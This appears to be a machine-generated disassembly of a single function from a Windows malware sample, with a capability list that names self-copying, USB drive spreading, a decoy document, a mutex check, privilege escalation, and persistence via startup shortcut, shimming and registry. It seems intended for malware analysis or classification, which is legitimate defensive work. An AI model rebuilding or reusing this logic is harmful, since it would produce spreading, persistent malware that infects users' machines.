Function at 0x4016ed
Capabilities:
Acquire debug privileges
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Create thread
Delete file
Extract resource via kernel32 functions
Get common file path
Get disk information
Get file attributes
Get file size
Get startup folder
Persist via application shimming
Persist via lnk shortcut
Persist via run registry key
Query or enumerate registry value
Read file on windows
Set current directory
Set file attributes
Terminate process
Write and execute a file
Write file on windows
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41d478
push 0x40bfa8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov eax, 0x3130
call fcn.0040be80
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 0x8007
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x104
push 0
lea eax, [ebp - 0xdb0]
push eax
call fcn.0040be20
add esp, 0xc
lea ecx, [ebp - 0xdb0]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x401768
lea edx, [ebp - 0xdb0]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x104
push 0
push 0x427464
call fcn.0040be20
add esp, 0xc
push 0
push 0x2e
push 0x427464
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push 0x5c
push 0x427464
call fcn.0040b070
add esp, 8
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0
jne 0x4017c7
mov dword [ebp - 0x3134], 0xffffffff
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x3134]
jmp 0x402b97
push str.Office
mov eax, dword [ebp - 0x14c]
push eax
call fcn.0040c8aa
add esp, 8
push 0
push 0x427464
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 7
push 0x427464
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push str._temp.ed7ba470_8e54_465e_825c_99712043e01c
mov ecx, dword [ebp - 0x14c]
push ecx
call fcn.0040c880
add esp, 8
push 0
push 0x427464
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 7
push 0x427464
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x104
push 0
lea edx, [ebp - 0xba8]
push edx
call fcn.0040be20
add esp, 0xc
push 0
push 0x2e
lea eax, [ebp - 0xba8]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push str.unikey40RC2_1101_win32
lea ecx, [ebp - 0xba8]
push ecx
call fcn.0040c880
add esp, 8
lea edx, [ebp - 0xba8]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x401890
push 0
lea eax, [ebp - 0xba8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 7
lea ecx, [ebp - 0xba8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x422188
lea edx, [ebp - 0xba8]
push edx
call fcn.0040c880
add esp, 8
push 0x104
push 0
lea eax, [ebp - 0x784]
push eax
call fcn.0040be20
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x784]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x4221a0
lea edx, [ebp - 0x784]
push edx
call fcn.0040c86d
add esp, 8
mov dword [ebp - 0x470], eax
cmp dword [ebp - 0x470], 0
je 0x401e91
push 2
push 0xfffffffffffffff8
mov eax, dword [ebp - 0x470]
push eax
call fcn.0040c783
add esp, 0xc
test eax, eax
je 0x401920
mov ecx, dword [ebp - 0x470]
push ecx
call fcn.0040c706
add esp, 4
jmp 0x401e91
mov edx, dword [ebp - 0x470]
push edx
push 8
push 1
lea eax, [ebp - 0xdb8]
push eax
call fcn.0040c5ef
add esp, 0x10
test eax, eax
jne 0x401952
mov ecx, dword [ebp - 0x470]
push ecx
call fcn.0040c706
add esp, 4
jmp 0x401e91
movsx edx, byte [ebp - 0xdb4]
cmp edx, 0x11
jne 0x401e91
movsx eax, byte [ebp - 0xdb3]
cmp eax, 0x22
jne 0x401e91
movsx ecx, byte [ebp - 0xdb2]
cmp ecx, 0x33
jne 0x401e91
movsx edx, byte [ebp - 0xdb1]
cmp edx, 0x44
jne 0x401e91
mov eax, dword [ebp - 0xdb8]
mov dword [0x427788], eax
push 0x104
push 0
lea ecx, [ebp - 0xfc8]
push ecx
call fcn.0040be20
add esp, 0xc
push 0x104
lea edx, [ebp - 0xfc8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x2e
lea eax, [ebp - 0xfc8]
push eax
call fcn.0040b070
add esp, 8
mov dword [ebp - 0xdbc], eax
cmp dword [ebp - 0xdbc], 0
je 0x4019fb
push 0x427cdc
mov ecx, dword [ebp - 0xdbc]
push ecx
call fcn.0040c8aa
add esp, 8
push 0x2e
lea edx, [ebp - 0xfc8]
push edx
call fcn.0040b070
add esp, 8
mov dword [ebp - 0xdbc], eax
cmp dword [ebp - 0xdbc], 0
jne 0x401a2f
mov eax, dword [ebp - 0x470]
push eax
call fcn.0040c706
add esp, 4
jmp 0x401e91
push str..doc
mov ecx, dword [ebp - 0xdbc]
push ecx
call fcn.0040c8aa
add esp, 8
push 0x4221b4
lea edx, [ebp - 0xfc8]
push edx
call fcn.0040c86d
add esp, 8
mov dword [ebp - 0xdc0], eax
cmp dword [ebp - 0xdc0], 0
je 0x401b95
push 0
mov eax, dword [0x427788]
push eax
mov ecx, dword [ebp - 0x470]
push ecx
call fcn.0040c783
add esp, 0xc
test eax, eax
je 0x401aa8
mov edx, dword [ebp - 0x470]
push edx
call fcn.0040c706
add esp, 4
mov eax, dword [ebp - 0xdc0]
push eax
call fcn.0040c706
add esp, 4
jmp 0x401e91
mov dword [ebp - 0x222c], 0
push 2
push 0
mov ecx, dword [ebp - 0xdc0]
push ecx
call fcn.0040c783
add esp, 0xc
mov edx, 1
test edx, edx
je 0x401b86
push 0x1000
push 0
lea eax, [ebp - 0x2228]
push eax
call fcn.0040be20
add esp, 0xc
mov ecx, dword [ebp - 0x470]
push ecx
push 0x1000
push 1
lea edx, [ebp - 0x2228]
push edx
call fcn.0040c5ef
add esp, 0x10
mov dword [ebp - 0x222c], eax
cmp dword [ebp - 0x222c], 0
jne 0x401b25
mov eax, dword [ebp - 0xdc0]
push eax
call fcn.0040c706
add esp, 4
jmp 0x401b86
cmp dword [ebp - 0x222c], 0x1000
jae 0x401b64
mov ecx, dword [ebp - 0xdc0]
push ecx
mov edx, dword [ebp - 0x222c]
sub edx, 8
push edx
push 1
lea eax, [ebp - 0x2228]
push eax
call fcn.0040c4b6
add esp, 0x10
mov ecx, dword [ebp - 0xdc0]
push ecx
call fcn.0040c706
add esp, 4
jmp 0x401b86
mov edx, dword [ebp - 0xdc0]
push edx
push 0x1000
push 1
lea eax, [ebp - 0x2228]
push eax
call fcn.0040c4b6
add esp, 0x10
jmp 0x401ac5
mov ecx, dword [ebp - 0xdc0]
push ecx
call fcn.0040c706
add esp, 4
mov edx, dword [ebp - 0x470]
push edx
call fcn.0040c706
add esp, 4
lea eax, [ebp - 0xfc8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x401bf2
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xfc8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x401bf2
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0xfc8]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x401bf2
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 5
push 0
push 0
lea eax, [ebp - 0xfc8]
push eax
push 0x4221bc
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
lea ecx, [ebp - 0xba8]
push ecx
lea edx, [ebp - 0x784]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x401cb5
push 0x80
lea eax, [ebp - 0xba8]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0xba8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea edx, [ebp - 0xba8]
push edx
lea eax, [ebp - 0x784]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x401cb5
lea ecx, [ebp - 0xba8]
push ecx
call fcn.0040aec1
add esp, 4
push 0
lea edx, [ebp - 0xba8]
push edx
lea eax, [ebp - 0x784]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x401cb5
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea ecx, [ebp - 0xba8]
push ecx
lea edx, [ebp - 0x784]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x401cb5
push 0
call fcn.0040c0ad
push 0
push 0x80
push 4
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0xba8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x1010], eax
cmp dword [ebp - 0x1010], 0xffffffff
je 0x401d41
mov dword [ebp - 0x2230], 0
push 0
mov ecx, dword [ebp - 0x1010]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x2230], eax
mov edx, dword [ebp - 0x2230]
cmp edx, dword [0x4220a0]
jbe 0x401d34
push 0
push 0
mov eax, dword [0x4220a0]
push eax
mov ecx, dword [ebp - 0x1010]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [ebp - 0x1010]
push edx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov eax, dword [ebp - 0x1010]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x104
push 0
lea ecx, [ebp - 0x1228]
push ecx
call fcn.0040be20
add esp, 0xc
lea edx, [ebp - 0x1228]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x401e10
push 0x4221c8
lea eax, [ebp - 0x1228]
push eax
call fcn.0040c880
add esp, 8
lea ecx, [ebp - 0x1228]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401da4
lea edx, [ebp - 0x1228]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
lea eax, [ebp - 0x1228]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x2234], eax
cmp dword [ebp - 0x2234], 0xffffffff
je 0x401e10
push 0
lea ecx, [ebp - 0x2238]
push ecx
lea edx, [ebp - 0x784]
push edx
call fcn.0040be00
add esp, 4
lea eax, [eax + eax + 1]
push eax
lea ecx, [ebp - 0x784]
push ecx
mov edx, dword [ebp - 0x2234]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x2234]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x44
push 0
lea ecx, [ebp - 0x100c]
push ecx
call fcn.0040be20
add esp, 0xc
mov dword [ebp - 0x100c], 0x44
lea edx, [ebp - 0x100c]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov word [ebp - 0xfdc], 8
lea eax, [ebp - 0x1020]
push eax
lea ecx, [ebp - 0x100c]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
push 0
lea edx, [ebp - 0xba8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x401e8a
push 8
push 0
push 0
lea eax, [ebp - 0xba8]
push eax
push 0x4221e8
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call fcn.0040c0ad
nop
push 0x104
push 0
lea ecx, [ebp - 0x464]
push ecx
call fcn.0040be20
add esp, 0xc
lea edx, [ebp - 0x464]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x401fa6
push str.tempinfodel.ini
lea eax, [ebp - 0x464]
push eax
call fcn.0040c880
add esp, 8
lea ecx, [ebp - 0x464]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401fa6
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
lea edx, [ebp - 0x464]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x223c], eax
cmp dword [ebp - 0x223c], 0xffffffff
je 0x401fa6
push 0x104
push 0
lea eax, [ebp - 0x464]
push eax
call fcn.0040be20
add esp, 0xc
push 0
lea ecx, [ebp - 0x2240]
push ecx
push 0x104
lea edx, [ebp - 0x464]
push edx
mov eax, dword [ebp - 0x223c]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 0x223c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x464]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x401f93
push 0x80
lea eax, [ebp - 0x464]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x464]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea edx, [ebp - 0x464]
push edx
push 5
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
lea eax, [ebp - 0x784]
push eax
lea ecx, [ebp - 0xba8]
push ecx
call fcn.0040c3d7
add esp, 8
test eax, eax
je 0x40217b
push 0
lea edx, [ebp - 0xba8]
push edx
lea eax, [ebp - 0x784]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x40206d
push 0x80
lea ecx, [ebp - 0xba8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0xba8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea eax, [ebp - 0xba8]
push eax
lea ecx, [ebp - 0x784]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x40206d
lea edx, [ebp - 0xba8]
push edx
call fcn.0040aec1
add esp, 4
push 0
lea eax, [ebp - 0xba8]
push eax
lea ecx, [ebp - 0x784]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x40206d
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea edx, [ebp - 0xba8]
push edx
lea eax, [ebp - 0x784]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x40206d
push 0
call fcn.0040c0ad
push 0
push 0x80
push 4
push 0
push 0
push 0xc0000000
lea ecx, [ebp - 0xba8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x2288], eax
cmp dword [ebp - 0x2288], 0xffffffff
je 0x4020fa
mov dword [ebp - 0x229c], 0
push 0
mov edx, dword [ebp - 0x2288]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x229c], eax
mov eax, dword [ebp - 0x229c]
cmp eax, dword [0x4220a0]
jbe 0x4020ed
push 0
push 0
mov ecx, dword [0x4220a0]
push ecx
mov edx, dword [ebp - 0x2288]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp - 0x2288]
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov ecx, dword [ebp - 0x2288]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x44
push 0
lea edx, [ebp - 0x2284]
push edx
call fcn.0040be20
add esp, 0xc
mov dword [ebp - 0x2284], 0x44
lea eax, [ebp - 0x2284]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov word [ebp - 0x2254], 8
lea ecx, [ebp - 0x2298]
push ecx
lea edx, [ebp - 0x2284]
push edx
push 0
push 0
push 0x20
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xba8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x402174
push 8
push 0
push 0
lea ecx, [ebp - 0xba8]
push ecx
push 0x422214
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call fcn.0040c0ad
mov dword [ebp - 0x25c], str.winsvcupT20131031T834G0211
mov edx, dword [ebp - 0x25c]
push edx
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x57c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4021b0
push 0
call fcn.0040c0ad
call fcn.0040414d
push 0x104
push 0
push 0x426d28
call fcn.0040be20
add esp, 0xc
push 0x427464
push 0x426d28
call fcn.0040c8aa
add esp, 8
push str.winflag.dll
push 0x426d28
call fcn.0040c880
add esp, 8
push 0x426d28
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4024a4
push 0x104
push 0
lea eax, [ebp - 0x24a4]
push eax
call fcn.0040be20
add esp, 0xc
push 0
push 0x2e
lea ecx, [ebp - 0x24a4]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push str.office_updata.exe
lea edx, [ebp - 0x24a4]
push edx
call fcn.0040c880
add esp, 8
mov word [ebp - 0x26b0], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x26ae]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov dword [ebp - 0x26bc], eax
mov eax, dword [ebp - 0x26bc]
shl eax, 1
push eax
call fcn.00417918
add esp, 4
mov dword [ebp - 0x3118], eax
mov ecx, dword [ebp - 0x3118]
mov dword [ebp - 0x26b8], ecx
cmp dword [ebp - 0x26b8], 0
jne 0x4022c5
mov edx, dword [ebp - 0x26bc]
shl edx, 1
push edx
call fcn.00417918
add esp, 4
mov dword [ebp - 0x311c], eax
mov eax, dword [ebp - 0x311c]
mov dword [ebp - 0x28c8], eax
cmp dword [ebp - 0x28c8], 0
jne 0x4022c5
jmp 0x4024a4
mov ecx, dword [ebp - 0x26b8]
push ecx
mov edx, dword [ebp - 0x26bc]
push edx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov eax, dword [ebp - 0x26b8]
mov dword [ebp - 0x26b4], eax
mov dword [ebp - 0x24a8], 0
mov ecx, dword [ebp - 0x26b4]
xor edx, edx
mov dx, word [ecx]
test edx, edx
je 0x402489
push 0x104
push 0
lea eax, [ebp - 0x28c4]
push eax
call fcn.0040be20
add esp, 0xc
push 2
mov ecx, dword [ebp - 0x26b4]
push ecx
lea edx, [ebp - 0x28c4]
push edx
call fcn.0040c39a
add esp, 0xc
push 0
mov eax, dword [ebp - 0x26b4]
push eax
call fcn.0040b050
add esp, 8
add eax, 2
mov dword [ebp - 0x26b4], eax
lea ecx, [ebp - 0x28c4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 2
jne 0x402484
mov dword [ebp - 0x28d0], 0
mov dword [ebp - 0x28cc], 0
push 0x104
lea edx, [ebp - 0x2ad8]
push edx
lea eax, [ebp - 0x28d0]
push eax
push 0
lea ecx, [ebp - 0x28cc]
push ecx
push 0
push 0
lea edx, [ebp - 0x28c4]
push edx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
jne 0x4023aa
jmp 0x4022ef
lea eax, [ebp - 0x2ad8]
push eax
call fcn.0040be00
add esp, 4
cmp eax, 1
jbe 0x4023c7
cmp dword [ebp - 0x28d0], 0
ja 0x4023cc
jmp 0x4022ef
lea ecx, [ebp - 0x28c4]
push ecx
lea edx, [ebp - 0x26b0]
push edx
call fcn.0040c8aa
add esp, 8
push str.System_Volume_Info.ed7ba470_8e54_465e_825c_99712043e01coffice_2DEB.sdb
lea eax, [ebp - 0x26b0]
push eax
call fcn.0040c880
add esp, 8
push 0
lea ecx, [ebp - 0x24a4]
push ecx
lea edx, [ebp - 0x26b0]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x402484
mov word [ebp - 0x2ce0], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x2cde]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x427464
lea eax, [ebp - 0x2ce0]
push eax
call fcn.0040c8aa
add esp, 8
push 0x422330
lea ecx, [ebp - 0x2ce0]
push ecx
call fcn.0040c880
add esp, 8
push 1
lea edx, [ebp - 0x2ce0]
push edx
lea eax, [ebp - 0x26b0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 8
push 0
push 0
lea ecx, [ebp - 0x24a4]
push ecx
push 0x422354
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x402489
jmp 0x4022ef
mov edx, dword [ebp - 0x26b8]
mov dword [ebp - 0x3120], edx
mov eax, dword [ebp - 0x3120]
push eax
call fcn.00417941
add esp, 4
nop
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
push 0
lea ecx, [ebp - 0x784]
push ecx
call fcn.0040be20
add esp, 0xc
push 0x104
lea edx, [ebp - 0x148]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
push 0
lea eax, [ebp - 0x254]
push eax
call fcn.0040be20
add esp, 0xc
mov dword [ebp - 0x44], 0x208
lea ecx, [ebp - 0x99c]
push ecx
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x46c], eax
cmp dword [ebp - 0x46c], 0
jne 0x4025ce
lea edx, [ebp - 0x44]
push edx
lea eax, [ebp - 0x254]
push eax
push 0
push 0
push str.Common_Startup
mov ecx, dword [ebp - 0x99c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x46c], eax
cmp dword [ebp - 0x46c], 0
jne 0x4025c1
lea edx, [ebp - 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x402576
push 0
lea eax, [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str.Quick_Link.lnk
lea ecx, [ebp - 0x254]
push ecx
call fcn.0040bd20
add esp, 8
lea edx, [ebp - 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4025c1
push str.Quick_Link
lea eax, [ebp - 0x254]
push eax
push 0x427ce0
push 0x427ce4
lea ecx, [ebp - 0x148]
push ecx
call fcn.004045f4
add esp, 0x14
mov edx, dword [ebp - 0x99c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x9a0], 0
mov dword [ebp - 0x258], 0
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x998], 0
mov word [ebp - 0x994], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x992]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x4223d0
push 0x69
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x9a0], eax
cmp dword [ebp - 0x9a0], 0
jne 0x402654
mov dword [ebp - 0x313c], 0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x313c]
jmp 0x402b97
mov eax, dword [ebp - 0x9a0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x474], eax
mov ecx, dword [ebp - 0x9a0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 0
jne 0x4026a3
mov dword [ebp - 0x3140], 0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x3140]
jmp 0x402b97
push 0x104
push 0
lea edx, [ebp - 0x994]
push edx
call fcn.0040be20
add esp, 0xc
lea eax, [ebp - 0x994]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.update.hiv
lea ecx, [ebp - 0x994]
push ecx
call fcn.0040c880
add esp, 8
lea edx, [ebp - 0x994]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x402770
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x994]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x998], eax
cmp dword [ebp - 0x998], 0
jne 0x402738
mov dword [ebp - 0x3144], 0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x3144]
jmp 0x402b97
push 0
lea ecx, [ebp - 0x150]
push ecx
mov edx, dword [ebp - 0x474]
push edx
mov eax, dword [ebp - 0x258]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
mov ecx, dword [ebp - 0x998]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x998]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x468], 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
lea eax, [ebp - 0x578]
push eax
call fcn.0040bd10
add esp, 8
push 1
push str.SeDebugPrivilege
call fcn.0040acfd
add esp, 8
and eax, 0xff
test eax, eax
jne 0x4027b3
mov ecx, dword [ebp - 0x468]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push str.SeRestorePrivilege
call fcn.0040acfd
add esp, 8
and eax, 0xff
test eax, eax
jne 0x4027d8
mov edx, dword [ebp - 0x468]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x468]
push eax
push 0xf003f
push 0
lea ecx, [ebp - 0x578]
push ecx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0
lea edx, [ebp - 0x994]
push edx
mov eax, dword [ebp - 0x468]
push eax
call dword [sym.imp.ADVAPI32.dll_RegRestoreKeyW]
mov ecx, dword [ebp - 0x468]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x994]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x9a0]
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
push 0
push 0
push 0
push 0x8000000
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
push 0
push str.Progman
call dword [sym.imp.USER32.dll_FindWindowW]
mov dword [ebp - 0x78c], eax
push 0
push str.SHELLDLL_DefView
push 0
mov ecx, dword [ebp - 0x78c]
push ecx
call dword [sym.imp.USER32.dll_FindWindowExW]
mov dword [ebp - 0x40], eax
push 0
push str.SysListView32
push 0
mov edx, dword [ebp - 0x40]
push edx
call dword [sym.imp.USER32.dll_FindWindowExW]
mov dword [ebp - 0x788], eax
push 0
push 0x74
push 0x100
mov eax, dword [ebp - 0x788]
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
push 0
push 0x74
push 0x101
mov ecx, dword [ebp - 0x788]
push ecx
call dword [sym.imp.USER32.dll_PostMessageW]
mov dword [ebp - 4], 0xffffffff
jmp 0x4028e3
push 0x426d28
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x402937
push 0
push 0
push 0x40a86f
call fcn.0040c227
add esp, 0xc
mov dword [ebp - 0x2ce4], eax
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0x405ae0
call fcn.0040c227
add esp, 0xc
mov dword [ebp - 0x2ce4], eax
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040518e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov dword [ebp - 0x3c], eax
mov edx, dword [ebp - 0x3c]
shl edx, 1
push edx
call fcn.00417918
add esp, 4
mov dword [ebp - 0x3124], eax
mov eax, dword [ebp - 0x3124]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x4029b5
mov ecx, dword [ebp - 0x3c]
shl ecx, 1
push ecx
call fcn.00417918
add esp, 4
mov dword [ebp - 0x3128], eax
mov edx, dword [ebp - 0x3128]
mov dword [ebp - 0x2ce8], edx
cmp dword [ebp - 0x2ce8], 0
jne 0x4029b5
mov eax, dword [ebp - 0x3c]
shl eax, 1
push eax
call fcn.00417918
add esp, 4
mov dword [ebp - 0x312c], eax
mov ecx, dword [ebp - 0x312c]
mov dword [ebp - 0x2cec], ecx
cmp dword [ebp - 0x1c], 0
je 0x402b39
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x2cf4], ecx
mov dword [ebp - 0x2cf0], 0
mov edx, dword [ebp - 0x2cf4]
xor eax, eax
mov ax, word [edx]
test eax, eax
je 0x402b1b
push 0x104
push 0
lea ecx, [ebp - 0x2efc]
push ecx
call fcn.0040be20
add esp, 0xc
push 2
mov edx, dword [ebp - 0x2cf4]
push edx
lea eax, [ebp - 0x2efc]
push eax
call fcn.0040c39a
add esp, 0xc
push 0
mov ecx, dword [ebp - 0x2cf4]
